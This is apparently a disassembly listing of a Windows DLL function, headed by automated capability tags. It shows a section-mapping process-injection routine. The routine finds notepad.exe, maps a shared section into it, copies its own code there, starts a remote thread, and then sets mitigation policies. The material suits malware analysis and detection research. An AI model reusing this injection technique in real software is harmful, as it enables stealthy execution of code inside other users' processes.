Function at 0x180005db0
Capabilities:
Block operations on executable memory pages using arbitrary code guard
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x180009008]
xor rax, rsp
mov qword [rbp + 0xc0], rax
xor edx, edx
mov dword [rbp - 0x70], 0x130
xor r12d, r12d
mov r15d, r12d
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp - 0x70]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x180005ea8
mov qword [rsp + 0x1f0], rsi
mov qword [rsp + 0x1f8], rdi
movzx ecx, byte [rbp - 0x44]
lea rsi, str.notepad.exe
lea rbx, [rbp - 0x44]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov ecx, 0x6e
mov edi, eax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
cmp edi, eax
jne 0x180005e6a
cmp byte [rbx], r12b
je 0x180005e82
movzx ecx, byte [rbx + 1]
inc rbx
inc rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
movzx ecx, byte [rsi]
mov edi, eax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
cmp edi, eax
je 0x180005e46
movzx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
movzx ecx, byte [rsi]
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
sub ebx, eax
jne 0x180005e86
mov r15d, dword [rbp - 0x68]
lea rdx, [rbp - 0x70]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x180005e20
mov rdi, qword [rsp + 0x1f8]
mov rsi, qword [rsp + 0x1f0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r12
lea r9, [rbp - 0x78]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rsp + 0x60]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
mov qword [rbp - 0x80], 0x4d38
mov qword [rbp - 0x78], 0x4d38
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
call fcn.180006370
mov rdx, qword [rsp + 0x60]
lea rcx, str.Section_handle:__p_n
call fcn.180005d50
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x68]
mov dword [rsp + 0x48], 4
mov rdx, rax
mov dword [rsp + 0x40], r12d
lea rax, [rbp - 0x80]
mov dword [rsp + 0x38], 2
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call fcn.1800063b0
mov rdx, qword [rsp + 0x68]
lea rcx, str.Section_BaseAddress:__p_n
call fcn.180005d50
mov r8d, r15d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x70]
mov dword [rsp + 0x48], 0x20
mov rbx, rax
mov dword [rsp + 0x40], r12d
lea rax, [rbp - 0x80]
mov dword [rsp + 0x38], 2
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov rdx, rbx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call fcn.1800063b0
mov rdx, qword [rsp + 0x70]
lea rcx, str.Section_remoteSectionAddress:__p_n
call fcn.180005d50
mov r8, qword [rbp - 0x80]
xor edx, edx
mov rcx, qword [rsp + 0x68]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x68]
lea rdx, section..text
mov r8d, 0x4d38
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp - 0x80]
lea rcx, str.Page_Size:__d_n
call fcn.180005d50
mov rax, qword [rsp + 0x70]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x50], r12
mov r9, rbx
mov qword [rsp + 0x48], r12
xor r8d, r8d
mov qword [rsp + 0x40], r12
mov edx, 0x20000000
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x78], r12
call fcn.1800063f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, rax
mov r9d, 4
mov dword [rsp + 0x68], r12d
lea r8, [rsp + 0x68]
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_GetProcessMitigationPolicy]
lea rcx, str.ProcessSignaturePolicy:_n
call fcn.180005d50
mov edx, dword [rsp + 0x68]
lea rcx, str.___MicrosoftSignedOnly_________________________u_n
and edx, 1
call fcn.180005d50
or dword [rsp + 0x68], 1
lea rdx, [rsp + 0x68]
mov r8d, 4
lea ecx, [r8 + 4]
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
mov r9d, 4
mov dword [rsp + 0x60], r12d
lea r8, [rsp + 0x60]
mov rcx, rbx
lea edx, [r9 - 2]
call qword [sym.imp.KERNEL32.dll_GetProcessMitigationPolicy]
mov edx, dword [rsp + 0x60]
lea rcx, str.___ProcessDynamicCodePolicy_________________________u_n
and edx, 1
call fcn.180005d50
or dword [rsp + 0x60], 1
lea rdx, [rsp + 0x60]
mov r8d, 4
lea ecx, [r8 - 2]
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
xor eax, eax
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.180006440
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret